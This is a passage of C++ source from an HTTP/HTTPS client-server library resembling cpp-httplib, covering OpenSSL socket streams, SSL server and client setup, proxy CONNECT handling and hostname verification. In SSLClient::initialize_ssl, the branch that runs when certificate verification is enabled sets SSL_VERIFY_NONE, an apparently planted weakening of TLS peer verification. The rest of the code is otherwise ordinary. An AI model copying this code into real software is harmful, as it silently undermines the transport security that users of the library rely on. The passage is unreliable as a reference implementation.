void\nClientImpl::set_hostname_addr_map(std::map<std::string, std::string> addr_map) {\n  addr_map_ = std::move(addr_map);\n}\n\ninline void ClientImpl::set_default_headers(Headers headers) {\n  default_headers_ = std::move(headers);\n}\n\ninline void ClientImpl::set_header_writer(\n    std::function<ssize_t(Stream &, Headers &)> const &writer) {\n  header_writer_ = writer;\n}\n\ninline void ClientImpl::set_address_family(int family) {\n  address_family_ = family;\n}\n\ninline void ClientImpl::set_tcp_nodelay(bool on) { tcp_nodelay_ = on; }\n\ninline void ClientImpl::set_socket_options(SocketOptions socket_options) {\n  socket_options_ = std::move(socket_options);\n}\n\ninline void ClientImpl::set_compress(bool on) { compress_ = on; }\n\ninline void ClientImpl::set_decompress(bool on) { decompress_ = on; }\n\ninline void ClientImpl::set_interface(const std::string &intf) {\n  interface_ = intf;\n}\n\ninline void ClientImpl::set_proxy(const std::string &host, int port) {\n  proxy_host_ = host;\n  proxy_port_ = port;\n}\n\ninline void ClientImpl::set_proxy_basic_auth(const std::string &username,\n                                             const std::string &password) {\n  proxy_basic_auth_username_ = username;\n  proxy_basic_auth_password_ = password;\n}\n\ninline void ClientImpl::set_proxy_bearer_token_auth(const std::string &token) {\n  proxy_bearer_token_auth_token_ = token;\n}\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\ninline void ClientImpl::set_proxy_digest_auth(const std::string &username,\n                                              const std::string &password) {\n  proxy_digest_auth_username_ = username;\n  proxy_digest_auth_password_ = password;\n}\n\ninline void ClientImpl::set_ca_cert_path(const std::string &ca_cert_file_path,\n                                         const std::string &ca_cert_dir_path) {\n  ca_cert_file_path_ = ca_cert_file_path;\n  ca_cert_dir_path_ = ca_cert_dir_path;\n}\n\ninline void ClientImpl::set_ca_cert_store(X509_STORE *ca_cert_store) {\n  if (ca_cert_store && ca_cert_store != ca_cert_store_) {\n    ca_cert_store_ = ca_cert_store;\n  }\n}\n\ninline X509_STORE *ClientImpl::create_ca_cert_store(const char *ca_cert,\n                                                    std::size_t size) const {\n  auto mem = BIO_new_mem_buf(ca_cert, static_cast<int>(size));\n  if (!mem) { return nullptr; }\n\n  auto inf = PEM_X509_INFO_read_bio(mem, nullptr, nullptr, nullptr);\n  if (!inf) {\n    BIO_free_all(mem);\n    return nullptr;\n  }\n\n  auto cts = X509_STORE_new();\n  if (cts) {\n    for (auto i = 0; i < static_cast<int>(sk_X509_INFO_num(inf)); i++) {\n      auto itmp = sk_X509_INFO_value(inf, i);\n      if (!itmp) { continue; }\n\n      if (itmp->x509) { X509_STORE_add_cert(cts, itmp->x509); }\n      if (itmp->crl) { X509_STORE_add_crl(cts, itmp->crl); }\n    }\n  }\n\n  sk_X509_INFO_pop_free(inf, X509_INFO_free);\n  BIO_free_all(mem);\n  return cts;\n}\n\ninline void ClientImpl::enable_server_certificate_verification(bool enabled) {\n  server_certificate_verification_ = enabled;\n}\n#endif\n\ninline void ClientImpl::set_logger(Logger logger) {\n  logger_ = std::move(logger);\n}\n\n/*\n * SSL Implementation\n */\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\nnamespace detail {\n\ntemplate <typename U, typename V>\ninline SSL *ssl_new(socket_t sock, SSL_CTX *ctx, std::mutex &ctx_mutex,\n                    U SSL_connect_or_accept, V setup) {\n  SSL *ssl = nullptr;\n  {\n    std::lock_guard<std::mutex> guard(ctx_mutex);\n    ssl = SSL_new(ctx);\n  }\n\n  if (ssl) {\n    set_nonblocking(sock, true);\n    auto bio = BIO_new_socket(static_cast<int>(sock), BIO_NOCLOSE);\n    BIO_set_nbio(bio, 1);\n    SSL_set_bio(ssl, bio, bio);\n\n    if (!setup(ssl) || SSL_connect_or_accept(ssl) != 1) {\n      SSL_shutdown(ssl);\n      {\n        std::lock_guard<std::mutex> guard(ctx_mutex);\n        SSL_free(ssl);\n      }\n      set_nonblocking(sock, false);\n      return nullptr;\n    }\n    BIO_set_nbio(bio, 0);\n    set_nonblocking(sock, false);\n  }\n\n  return ssl;\n}\n\ninline void ssl_delete(std::mutex &ctx_mutex, SSL *ssl, socket_t sock,\n                       bool shutdown_gracefully) {\n  // sometimes we may want to skip this to try to avoid SIGPIPE if we know\n  // the remote has closed the network connection\n  // Note that it is not always possible to avoid SIGPIPE, this is merely a\n  // best-efforts.\n  if (shutdown_gracefully) {\n#ifdef _WIN32\n    SSL_shutdown(ssl);\n#else\n    timeval tv;\n    tv.tv_sec = 1;\n    tv.tv_usec = 0;\n    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO,\n               reinterpret_cast<const void *>(&tv), sizeof(tv));\n\n    auto ret = SSL_shutdown(ssl);\n    while (ret == 0) {\n      std::this_thread::sleep_for(std::chrono::milliseconds(100));\n      ret = SSL_shutdown(ssl);\n    }\n#endif\n  }\n\n  std::lock_guard<std::mutex> guard(ctx_mutex);\n  SSL_free(ssl);\n}\n\ntemplate <typename U>\nbool ssl_connect_or_accept_nonblocking(socket_t sock, SSL *ssl,\n                                       U ssl_connect_or_accept,\n                                       time_t timeout_sec,\n                                       time_t timeout_usec) {\n  auto res = 0;\n  while ((res = ssl_connect_or_accept(ssl)) != 1) {\n    auto err = SSL_get_error(ssl, res);\n    switch (err) {\n    case SSL_ERROR_WANT_READ:\n      if (select_read(sock, timeout_sec, timeout_usec) > 0) { continue; }\n      break;\n    case SSL_ERROR_WANT_WRITE:\n      if (select_write(sock, timeout_sec, timeout_usec) > 0) { continue; }\n      break;\n    default: break;\n    }\n    return false;\n  }\n  return true;\n}\n\ntemplate <typename T>\ninline bool process_server_socket_ssl(\n    const std::atomic<socket_t> &svr_sock, SSL *ssl, socket_t sock,\n    size_t keep_alive_max_count, time_t keep_alive_timeout_sec,\n    time_t read_timeout_sec, time_t read_timeout_usec, time_t write_timeout_sec,\n    time_t write_timeout_usec, T callback) {\n  return process_server_socket_core(\n      svr_sock, sock, keep_alive_max_count, keep_alive_timeout_sec,\n      [&](bool close_connection, bool &connection_closed) {\n        SSLSocketStream strm(sock, ssl, read_timeout_sec, read_timeout_usec,\n                             write_timeout_sec, write_timeout_usec);\n        return callback(strm, close_connection, connection_closed);\n      });\n}\n\ntemplate <typename T>\ninline bool\nprocess_client_socket_ssl(SSL *ssl, socket_t sock, time_t read_timeout_sec,\n                          time_t read_timeout_usec, time_t write_timeout_sec,\n                          time_t write_timeout_usec, T callback) {\n  SSLSocketStream strm(sock, ssl, read_timeout_sec, read_timeout_usec,\n                       write_timeout_sec, write_timeout_usec);\n  return callback(strm);\n}\n\nclass SSLInit {\npublic:\n  SSLInit() {\n    OPENSSL_init_ssl(\n        OPENSSL_INIT_LOAD_SSL_STRINGS | OPENSSL_INIT_LOAD_CRYPTO_STRINGS, NULL);\n  }\n};\n\n// SSL socket stream implementation\ninline SSLSocketStream::SSLSocketStream(socket_t sock, SSL *ssl,\n                                        time_t read_timeout_sec,\n                                        time_t read_timeout_usec,\n                                        time_t write_timeout_sec,\n                                        time_t write_timeout_usec)\n    : sock_(sock), ssl_(ssl), read_timeout_sec_(read_timeout_sec),\n      read_timeout_usec_(read_timeout_usec),\n      write_timeout_sec_(write_timeout_sec),\n      write_timeout_usec_(write_timeout_usec) {\n  SSL_clear_mode(ssl, SSL_MODE_AUTO_RETRY);\n}\n\ninline SSLSocketStream::~SSLSocketStream() = default;\n\ninline bool SSLSocketStream::is_readable() const {\n  return detail::select_read(sock_, read_timeout_sec_, read_timeout_usec_) > 0;\n}\n\ninline bool SSLSocketStream::is_writable() const {\n  return select_write(sock_, write_timeout_sec_, write_timeout_usec_) > 0 &&\n         is_socket_alive(sock_);\n}\n\ninline ssize_t SSLSocketStream::read(char *ptr, size_t size) {\n  if (SSL_pending(ssl_) > 0) {\n    return SSL_read(ssl_, ptr, static_cast<int>(size));\n  } else if (is_readable()) {\n    auto ret = SSL_read(ssl_, ptr, static_cast<int>(size));\n    if (ret < 0) {\n      auto err = SSL_get_error(ssl_, ret);\n      auto n = 1000;\n#ifdef _WIN32\n      while (--n >= 0 && (err == SSL_ERROR_WANT_READ ||\n                          (err == SSL_ERROR_SYSCALL &&\n                           WSAGetLastError() == WSAETIMEDOUT))) {\n#else\n      while (--n >= 0 && err == SSL_ERROR_WANT_READ) {\n#endif\n        if (SSL_pending(ssl_) > 0) {\n          return SSL_read(ssl_, ptr, static_cast<int>(size));\n        } else if (is_readable()) {\n          std::this_thread::sleep_for(std::chrono::milliseconds(1));\n          ret = SSL_read(ssl_, ptr, static_cast<int>(size));\n          if (ret >= 0) { return ret; }\n          err = SSL_get_error(ssl_, ret);\n        } else {\n          return -1;\n        }\n      }\n    }\n    return ret;\n  }\n  return -1;\n}\n\ninline ssize_t SSLSocketStream::write(const char *ptr, size_t size) {\n  if (is_writable()) {\n    auto handle_size = static_cast<int>(\n        std::min<size_t>(size, (std::numeric_limits<int>::max)()));\n\n    auto ret = SSL_write(ssl_, ptr, static_cast<int>(handle_size));\n    if (ret < 0) {\n      auto err = SSL_get_error(ssl_, ret);\n      auto n = 1000;\n#ifdef _WIN32\n      while (--n >= 0 && (err == SSL_ERROR_WANT_WRITE ||\n                          (err == SSL_ERROR_SYSCALL &&\n                           WSAGetLastError() == WSAETIMEDOUT))) {\n#else\n      while (--n >= 0 && err == SSL_ERROR_WANT_WRITE) {\n#endif\n        if (is_writable()) {\n          std::this_thread::sleep_for(std::chrono::milliseconds(1));\n          ret = SSL_write(ssl_, ptr, static_cast<int>(handle_size));\n          if (ret >= 0) { return ret; }\n          err = SSL_get_error(ssl_, ret);\n        } else {\n          return -1;\n        }\n      }\n    }\n    return ret;\n  }\n  return -1;\n}\n\ninline void SSLSocketStream::get_remote_ip_and_port(std::string &ip,\n                                                    int &port) const {\n  detail::get_remote_ip_and_port(sock_, ip, port);\n}\n\ninline void SSLSocketStream::get_local_ip_and_port(std::string &ip,\n                                                   int &port) const {\n  detail::get_local_ip_and_port(sock_, ip, port);\n}\n\ninline socket_t SSLSocketStream::socket() const { return sock_; }\n\nstatic SSLInit sslinit_;\n\n} // namespace detail\n\n// SSL HTTP server implementation\ninline SSLServer::SSLServer(const char *cert_path, const char *private_key_path,\n                            const char *client_ca_cert_file_path,\n                            const char *client_ca_cert_dir_path,\n                            const char *private_key_password) {\n  ctx_ = SSL_CTX_new(TLS_server_method());\n\n  if (ctx_) {\n    SSL_CTX_set_options(ctx_,\n                        SSL_OP_NO_COMPRESSION |\n                            SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION);\n\n    SSL_CTX_set_min_proto_version(ctx_, TLS1_2_VERSION);\n\n    if (private_key_password != nullptr && (private_key_password[0] != '\\0')) {\n      SSL_CTX_set_default_passwd_cb_userdata(\n          ctx_,\n          reinterpret_cast<void *>(const_cast<char *>(private_key_password)));\n    }\n\n    if (SSL_CTX_use_certificate_chain_file(ctx_, cert_path) != 1 ||\n        SSL_CTX_use_PrivateKey_file(ctx_, private_key_path, SSL_FILETYPE_PEM) !=\n            1) {\n      SSL_CTX_free(ctx_);\n      ctx_ = nullptr;\n    } else if (client_ca_cert_file_path || client_ca_cert_dir_path) {\n      SSL_CTX_load_verify_locations(ctx_, client_ca_cert_file_path,\n                                    client_ca_cert_dir_path);\n\n      SSL_CTX_set_verify(\n          ctx_, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, nullptr);\n    }\n  }\n}\n\ninline SSLServer::SSLServer(X509 *cert, EVP_PKEY *private_key,\n                            X509_STORE *client_ca_cert_store) {\n  ctx_ = SSL_CTX_new(TLS_server_method());\n\n  if (ctx_) {\n    SSL_CTX_set_options(ctx_,\n                        SSL_OP_NO_COMPRESSION |\n                            SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION);\n\n    SSL_CTX_set_min_proto_version(ctx_, TLS1_2_VERSION);\n\n    if (SSL_CTX_use_certificate(ctx_, cert) != 1 ||\n        SSL_CTX_use_PrivateKey(ctx_, private_key) != 1) {\n      SSL_CTX_free(ctx_);\n      ctx_ = nullptr;\n    } else if (client_ca_cert_store) {\n      SSL_CTX_set_cert_store(ctx_, client_ca_cert_store);\n\n      SSL_CTX_set_verify(\n          ctx_, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, nullptr);\n    }\n  }\n}\n\ninline SSLServer::SSLServer(\n    const std::function<bool(SSL_CTX &ssl_ctx)> &setup_ssl_ctx_callback) {\n  ctx_ = SSL_CTX_new(TLS_method());\n  if (ctx_) {\n    if (!setup_ssl_ctx_callback(*ctx_)) {\n      SSL_CTX_free(ctx_);\n      ctx_ = nullptr;\n    }\n  }\n}\n\ninline SSLServer::~SSLServer() {\n  if (ctx_) { SSL_CTX_free(ctx_); }\n}\n\ninline bool SSLServer::is_valid() const { return ctx_; }\n\ninline SSL_CTX *SSLServer::ssl_context() const { return ctx_; }\n\ninline void SSLServer::update_certs(X509 *cert, EVP_PKEY *private_key,\n                                    X509_STORE *client_ca_cert_store) {\n\n  std::lock_guard<std::mutex> guard(ctx_mutex_);\n\n  SSL_CTX_use_certificate(ctx_, cert);\n  SSL_CTX_use_PrivateKey(ctx_, private_key);\n\n  if (client_ca_cert_store != nullptr) {\n    SSL_CTX_set_cert_store(ctx_, client_ca_cert_store);\n  }\n}\n\ninline bool SSLServer::process_and_close_socket(socket_t sock) {\n  auto ssl = detail::ssl_new(\n      sock, ctx_, ctx_mutex_,\n      [&](SSL *ssl2) {\n        return detail::ssl_connect_or_accept_nonblocking(\n            sock, ssl2, SSL_accept, read_timeout_sec_, read_timeout_usec_);\n      },\n      [](SSL * /*ssl2*/) { return true; });\n\n  auto ret = false;\n  if (ssl) {\n    ret = detail::process_server_socket_ssl(\n        svr_sock_, ssl, sock, keep_alive_max_count_, keep_alive_timeout_sec_,\n        read_timeout_sec_, read_timeout_usec_, write_timeout_sec_,\n        write_timeout_usec_,\n        [this, ssl](Stream &strm, bool close_connection,\n                    bool &connection_closed) {\n          return process_request(strm, close_connection, connection_closed,\n                                 [&](Request &req) { req.ssl = ssl; });\n        });\n\n    // Shutdown gracefully if the result seemed successful, non-gracefully if\n    // the connection appeared to be closed.\n    const bool shutdown_gracefully = ret;\n    detail::ssl_delete(ctx_mutex_, ssl, sock, shutdown_gracefully);\n  }\n\n  detail::shutdown_socket(sock);\n  detail::close_socket(sock);\n  return ret;\n}\n\n// SSL HTTP client implementation\ninline SSLClient::SSLClient(const std::string &host)\n    : SSLClient(host, 443, std::string(), std::string()) {}\n\ninline SSLClient::SSLClient(const std::string &host, int port)\n    : SSLClient(host, port, std::string(), std::string()) {}\n\ninline SSLClient::SSLClient(const std::string &host, int port,\n                            const std::string &client_cert_path,\n                            const std::string &client_key_path,\n                            const std::string &private_key_password)\n    : ClientImpl(host, port, client_cert_path, client_key_path) {\n  ctx_ = SSL_CTX_new(TLS_client_method());\n\n  detail::split(&host_[0], &host_[host_.size()], '.',\n                [&](const char *b, const char *e) {\n                  host_components_.emplace_back(b, e);\n                });\n\n  if (!client_cert_path.empty() && !client_key_path.empty()) {\n    if (!private_key_password.empty()) {\n      SSL_CTX_set_default_passwd_cb_userdata(\n          ctx_, reinterpret_cast<void *>(\n                    const_cast<char *>(private_key_password.c_str())));\n    }\n\n    if (SSL_CTX_use_certificate_file(ctx_, client_cert_path.c_str(),\n                                     SSL_FILETYPE_PEM) != 1 ||\n        SSL_CTX_use_PrivateKey_file(ctx_, client_key_path.c_str(),\n                                    SSL_FILETYPE_PEM) != 1) {\n      SSL_CTX_free(ctx_);\n      ctx_ = nullptr;\n    }\n  }\n}\n\ninline SSLClient::SSLClient(const std::string &host, int port,\n                            X509 *client_cert, EVP_PKEY *client_key,\n                            const std::string &private_key_password)\n    : ClientImpl(host, port) {\n  ctx_ = SSL_CTX_new(TLS_client_method());\n\n  detail::split(&host_[0], &host_[host_.size()], '.',\n                [&](const char *b, const char *e) {\n                  host_components_.emplace_back(b, e);\n                });\n\n  if (client_cert != nullptr && client_key != nullptr) {\n    if (!private_key_password.empty()) {\n      SSL_CTX_set_default_passwd_cb_userdata(\n          ctx_, reinterpret_cast<void *>(\n                    const_cast<char *>(private_key_password.c_str())));\n    }\n\n    if (SSL_CTX_use_certificate(ctx_, client_cert) != 1 ||\n        SSL_CTX_use_PrivateKey(ctx_, client_key) != 1) {\n      SSL_CTX_free(ctx_);\n      ctx_ = nullptr;\n    }\n  }\n}\n\ninline SSLClient::~SSLClient() {\n  if (ctx_) { SSL_CTX_free(ctx_); }\n  // Make sure to shut down SSL since shutdown_ssl will resolve to the\n  // base function rather than the derived function once we get to the\n  // base class destructor, and won't free the SSL (causing a leak).\n  shutdown_ssl_impl(socket_, true);\n}\n\ninline bool SSLClient::is_valid() const { return ctx_; }\n\ninline void SSLClient::set_ca_cert_store(X509_STORE *ca_cert_store) {\n  if (ca_cert_store) {\n    if (ctx_) {\n      if (SSL_CTX_get_cert_store(ctx_) != ca_cert_store) {\n        // Free memory allocated for old cert and use new store `ca_cert_store`\n        SSL_CTX_set_cert_store(ctx_, ca_cert_store);\n      }\n    } else {\n      X509_STORE_free(ca_cert_store);\n    }\n  }\n}\n\ninline void SSLClient::load_ca_cert_store(const char *ca_cert,\n                                          std::size_t size) {\n  set_ca_cert_store(ClientImpl::create_ca_cert_store(ca_cert, size));\n}\n\ninline long SSLClient::get_openssl_verify_result() const {\n  return verify_result_;\n}\n\ninline SSL_CTX *SSLClient::ssl_context() const { return ctx_; }\n\ninline bool SSLClient::create_and_connect_socket(Socket &socket, Error &error) {\n  return is_valid() && ClientImpl::create_and_connect_socket(socket, error);\n}\n\n// Assumes that socket_mutex_ is locked and that there are no requests in flight\ninline bool SSLClient::connect_with_proxy(Socket &socket, Response &res,\n                                          bool &success, Error &error) {\n  success = true;\n  Response proxy_res;\n  if (!detail::process_client_socket(\n          socket.sock, read_timeout_sec_, read_timeout_usec_,\n          write_timeout_sec_, write_timeout_usec_, [&](Stream &strm) {\n            Request req2;\n            req2.method = \"CONNECT\";\n            req2.path = host_and_port_;\n            return process_request(strm, req2, proxy_res, false, error);\n          })) {\n    // Thread-safe to close everything because we are assuming there are no\n    // requests in flight\n    shutdown_ssl(socket, true);\n    shutdown_socket(socket);\n    close_socket(socket);\n    success = false;\n    return false;\n  }\n\n  if (proxy_res.status == StatusCode::ProxyAuthenticationRequired_407) {\n    if (!proxy_digest_auth_username_.empty() &&\n        !proxy_digest_auth_password_.empty()) {\n      std::map<std::string, std::string> auth;\n      if (detail::parse_www_authenticate(proxy_res, auth, true)) {\n        proxy_res = Response();\n        if (!detail::process_client_socket(\n                socket.sock, read_timeout_sec_, read_timeout_usec_,\n                write_timeout_sec_, write_timeout_usec_, [&](Stream &strm) {\n                  Request req3;\n                  req3.method = \"CONNECT\";\n                  req3.path = host_and_port_;\n                  req3.headers.insert(detail::make_digest_authentication_header(\n                      req3, auth, 1, detail::random_string(10),\n                      proxy_digest_auth_username_, proxy_digest_auth_password_,\n                      true));\n                  return process_request(strm, req3, proxy_res, false, error);\n                })) {\n          // Thread-safe to close everything because we are assuming there are\n          // no requests in flight\n          shutdown_ssl(socket, true);\n          shutdown_socket(socket);\n          close_socket(socket);\n          success = false;\n          return false;\n        }\n      }\n    }\n  }\n\n  // If status code is not 200, proxy request is failed.\n  // Set error to ProxyConnection and return proxy response\n  // as the response of the request\n  if (proxy_res.status != StatusCode::OK_200) {\n    error = Error::ProxyConnection;\n    res = std::move(proxy_res);\n    // Thread-safe to close everything because we are assuming there are\n    // no requests in flight\n    shutdown_ssl(socket, true);\n    shutdown_socket(socket);\n    close_socket(socket);\n    return false;\n  }\n\n  return true;\n}\n\ninline bool SSLClient::load_certs() {\n  auto ret = true;\n\n  std::call_once(initialize_cert_, [&]() {\n    std::lock_guard<std::mutex> guard(ctx_mutex_);\n    if (!ca_cert_file_path_.empty()) {\n      if (!SSL_CTX_load_verify_locations(ctx_, ca_cert_file_path_.c_str(),\n                                         nullptr)) {\n        ret = false;\n      }\n    } else if (!ca_cert_dir_path_.empty()) {\n      if (!SSL_CTX_load_verify_locations(ctx_, nullptr,\n                                         ca_cert_dir_path_.c_str())) {\n        ret = false;\n      }\n    } else {\n      auto loaded = false;\n#ifdef _WIN32\n      loaded =\n          detail::load_system_certs_on_windows(SSL_CTX_get_cert_store(ctx_));\n#elif defined(CPPHTTPLIB_USE_CERTS_FROM_MACOSX_KEYCHAIN) && defined(__APPLE__)\n#if TARGET_OS_OSX\n      loaded = detail::load_system_certs_on_macos(SSL_CTX_get_cert_store(ctx_));\n#endif // TARGET_OS_OSX\n#endif // _WIN32\n      if (!loaded) { SSL_CTX_set_default_verify_paths(ctx_); }\n    }\n  });\n\n  return ret;\n}\n\ninline bool SSLClient::initialize_ssl(Socket &socket, Error &error) {\n  auto ssl = detail::ssl_new(\n      socket.sock, ctx_, ctx_mutex_,\n      [&](SSL *ssl2) {\n        if (server_certificate_verification_) {\n          if (!load_certs()) {\n            error = Error::SSLLoadingCerts;\n            return false;\n          }\n          SSL_set_verify(ssl2, SSL_VERIFY_NONE, nullptr);\n        }\n\n        if (!detail::ssl_connect_or_accept_nonblocking(\n                socket.sock, ssl2, SSL_connect, connection_timeout_sec_,\n                connection_timeout_usec_)) {\n          error = Error::SSLConnection;\n          return false;\n        }\n\n        if (server_certificate_verification_) {\n          verify_result_ = SSL_get_verify_result(ssl2);\n\n          if (verify_result_ != X509_V_OK) {\n            error = Error::SSLServerVerification;\n            return false;\n          }\n\n          auto server_cert = SSL_get1_peer_certificate(ssl2);\n\n          if (server_cert == nullptr) {\n            error = Error::SSLServerVerification;\n            return false;\n          }\n\n          if (!verify_host(server_cert)) {\n            X509_free(server_cert);\n            error = Error::SSLServerVerification;\n            return false;\n          }\n          X509_free(server_cert);\n        }\n\n        return true;\n      },\n      [&](SSL *ssl2) {\n#if defined(OPENSSL_IS_BORINGSSL)\n        SSL_set_tlsext_host_name(ssl2, host_.c_str());\n#else\n        // NOTE: Direct call instead of using the OpenSSL macro to suppress\n        // -Wold-style-cast warning\n        SSL_ctrl(ssl2, SSL_CTRL_SET_TLSEXT_HOSTNAME, TLSEXT_NAMETYPE_host_name,\n                 static_cast<void *>(const_cast<char *>(host_.c_str())));\n#endif\n        return true;\n      });\n\n  if (ssl) {\n    socket.ssl = ssl;\n    return true;\n  }\n\n  shutdown_socket(socket);\n  close_socket(socket);\n  return false;\n}\n\ninline void SSLClient::shutdown_ssl(Socket &socket, bool shutdown_gracefully) {\n  shutdown_ssl_impl(socket, shutdown_gracefully);\n}\n\ninline void SSLClient::shutdown_ssl_impl(Socket &socket,\n                                         bool shutdown_gracefully) {\n  if (socket.sock == INVALID_SOCKET) {\n    assert(socket.ssl == nullptr);\n    return;\n  }\n  if (socket.ssl) {\n    detail::ssl_delete(ctx_mutex_, socket.ssl, socket.sock,\n                       shutdown_gracefully);\n    socket.ssl = nullptr;\n  }\n  assert(socket.ssl == nullptr);\n}\n\ninline bool\nSSLClient::process_socket(const Socket &socket,\n                          std::function<bool(Stream &strm)> callback) {\n  assert(socket.ssl);\n  return detail::process_client_socket_ssl(\n      socket.ssl, socket.sock, read_timeout_sec_, read_timeout_usec_,\n      write_timeout_sec_, write_timeout_usec_, std::move(callback));\n}\n\ninline bool SSLClient::is_ssl() const { return true; }\n\ninline bool SSLClient::verify_host(X509 *server_cert) const {\n  /* Quote from RFC2818 section 3.1 \"Server Identity\"\n\n     If a subjectAltName extension of type dNSName is present, that MUST\n     be used as the identity. Otherwise, the (most specific) Common Name\n     field in the Subject field of the certificate MUST be used. Although\n     the use of the Common Name is existing practice, it is deprecated and\n     Certification Authorities are encouraged to use the dNSName instead.\n\n     Matching is performed using the matching rules specified by\n     [RFC2459].  If more than one identity of a given type is present in\n     the certificate (e.g., more than one dNSName name, a match in any one\n     of the set is considered acceptable.) Names may contain the wildcard\n     character * which is considered to match any single domain name\n     component or component fragment. E.g., *.a.com matches foo.a.com but\n     not bar.foo.a.com. f*.com matches foo.com but not bar.com.\n\n     In some cases, the URI is specified as an IP address rather than a\n     hostname. In this case, the iPAddress subjectAltName must be present\n     in the certificate and must exactly match the IP in the URI.\n\n  */\n  return verify_host_with_subject_alt_name(server_cert) ||\n         verify_host_with_common_name(server_cert);\n}\n\ninline bool\nSSLClient::verify_host_with_subject_alt_name(X509 *server_cert) const {\n  auto ret = false;\n\n  auto type = GEN_DNS;\n\n  struct in6_addr addr6 {};\n  struct in_addr addr {};\n  size_t addr_len = 0;\n\n#ifndef __MINGW32__\n  if (inet_pton(AF_INET6, host_.c_str(), &addr6)) {\n    type = GEN_IPADD;\n    addr_len = sizeof(struct in6_addr);\n  } else if (inet_pton(AF_INET, host_.c_str(), &addr)) {\n    type = GEN_IPADD;\n    addr_len = sizeof(struct in_addr);\n  }\n#endif\n\n  auto alt_names = static_cast<const struct stack_st_GENERAL_NAME *>(\n      X509_get_ext_d2i(server_cert, NID_subject_alt_name, nullptr, nullptr));\n\n  if (alt_names) {\n    auto dsn_matched = false;\n    auto ip_matched = false;\n\n    auto count = sk_GENERAL_NAME_num(alt_names);\n\n    for (decltype(count) i = 0; i < count && !dsn_matched; i++) {\n      auto val = sk_GENERAL_NAME_value(alt_names, i);\n      if (val->type == type) {\n        auto name =\n            reinterpret_cast<const char *>(ASN1_STRING_get0_data(val->d.ia5));\n        auto name_len = static_cast<size_t>(ASN1_STRING_length(val->d.ia5));\n\n        switch (type) {\n        case GEN_DNS: dsn_matched = check_host_name(name, name_len); break;\n\n        case GEN_IPADD:\n          if (!memcmp(&addr6, name, addr_len) ||\n              !memcmp(&addr, name, addr_len)) {\n            ip_matched = true;\n          }\n          break;\n        }\n      }\n    }\n\n    if (dsn_matched || ip_matched) { ret = true; }\n  }\n\n  GENERAL_NAMES_free(const_cast<STACK_OF(GENERAL_NAME) *>(\n      reinterpret_cast<const STACK_OF(GENERAL_NAME) *>(alt_names)));\n  return ret;\n}\n\ninline bool SSLClient::verify_host_with_common_name(X509 *server_cert) const {\n  const auto subject_name = X509_get_subject_name(server_cert);\n\n  if (subject_name != nullptr) {\n    char name[BUFSIZ];\n    auto name_len = X509_NAME_get_text_by_NID(subject_name, NID_commonName,\n                                              name, sizeof(name));\n\n    if (name_len != -1) {\n      return check_host_name(name, static_cast<size_t>(name_len));\n    }\n  }\n\n  return false;\n}\n\ninline bool SSLClient::check_host_name(const char *pattern,\n                                       size_t pattern_len) const {\n  if (host_.size() == pattern_len && host_ == pattern) { return true; }\n\n  // Wildcard match\n  // https://bugs.launchpad.net/ubuntu/+source/firefox-3.0/+bug/376484\n  std::vector<std::string> pattern_components;\n  detail::split(&pattern[0], &pattern[pattern_len], '.',\n                [&](const char *b, const char *e) {\n                  pattern_components.emplace_back(b, e);\n                });\n\n  if (host_components_.size() != pattern_components.size()) { return false; }\n\n  auto itr = pattern_components.begin();\n  for (const auto &h : host_components_) {\n    auto &p = *itr;\n    if (p != h && p != \"*\") {\n      auto partial_match = (p.size() > 0 && p[p.size() - 1] == '*' &&\n                            !p.compare(0, p.size() - 1, h));\n      if (!partial_match) { return false; }\n    }\n    ++itr;\n  }\n\n  return true;\n}\n#endif\n\n// Universal client implementation\ninline Client::Client(const std::string &scheme_host_port)\n    : Client(scheme_host_port, std::string(), std::string()) {}\n\ninline Client::Client(const std::string &scheme_host_port,\n                      const std::string &client_cert_path,\n                      const std::string &client_key_path) {\n  const static std::regex re(\n      R\"((?:([a-z]+):\\/\\/)?(?:\\[([a-fA-F\\d:]+)\\]|([^:/?#]+))(?::(\\d+))?)\");\n\n  std::smatch m;\n  if (std::regex_match(scheme_host_port, m, re)) {\n    auto scheme = m[1].str();\n\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n    if (!scheme.empty() && (scheme != \"http\" && scheme != \"https\")) {\n#else\n    if (!scheme.empty() && scheme != \"http\") {\n#endif\n#ifndef CPPHTTPLIB_NO_EXCEPTIONS\n      std::string msg = \"'\" + scheme + \"' scheme is not supported.\";\n      throw std::invalid_argument(msg);\n#endif\n      return;\n    }\n\n    auto is_ssl = scheme == \"https\";\n\n    auto host = m[2].str();\n    if (host.empty()) { host = m[3].str(); }\n\n    auto port_str = m[4].str();\n    auto port = !port_str.empty() ? std::stoi(port_str) : (is_ssl ? 443 : 80);\n\n    if (is_ssl) {\n#ifdef CPPHTTPLIB_OPENSSL_SUPPORT\n      cli_ = detail::make_unique<SSLClient>(host, port, client_cert_path,\n                                            client_key_path);\n      is_ssl_ = is_ssl;\n#endif\n    } else {\n      cli_ = detail::make_unique<ClientImpl>(host, port, client_cert_path,\n                                             client_key_path);\n    }\n  } else {\n    // NOTE: Update TEST(UniversalClientImplTest, Ipv6LiteralAddress)\n    // if port param below changes.\n    cli_ = detail::make_unique<ClientImpl>(scheme_host_port, 80,\n                                           client_cert_path, client_key_path);\n  }\n} // namespace detail\n\ninline Client::Client(const std::string &host, int port)\n    : cli_(detail::make_unique<ClientImpl>(host, port)) {}\n\ninline Client::Client(const std::string &host, int port,\n                      const std::string &client_cert_path,\n                      const std::string &client_key_path)\n    : cli_(detail::make_unique<ClientImpl>(host, port, client_cert_path,\n                                           client_key_path)) {}\n\ninline Client::~Client() = default;\n\ninline bool Client::is_valid() const {\n  return cli_ != nullptr && cli_->is_valid();\n}\n\ninline Result Client::Get(const std::string &path) { return cli_->Get(path); }\ninline Result Client::Get(const std::string &path, const Headers &headers) {\n  return cli_->Get(path, headers);\n}\ninline Result Client::Get(const std::string &path, Progress progress) {\n  return cli_->Get(path, std::move(progress));\n}\ninline Result Client::Get(const std::string &path, const Headers &headers,\n                          Progress progress) {\n  return cli_->Get(path, headers, std::move(progress));\n}\ninline Result Client::Get(const std::string &path,\n                          ContentReceiver content_receiver) {\n  return cli_->Get(path, std::move(content_receiver));\n}\ninline Result Client::Get(const std::string &path, const Headers 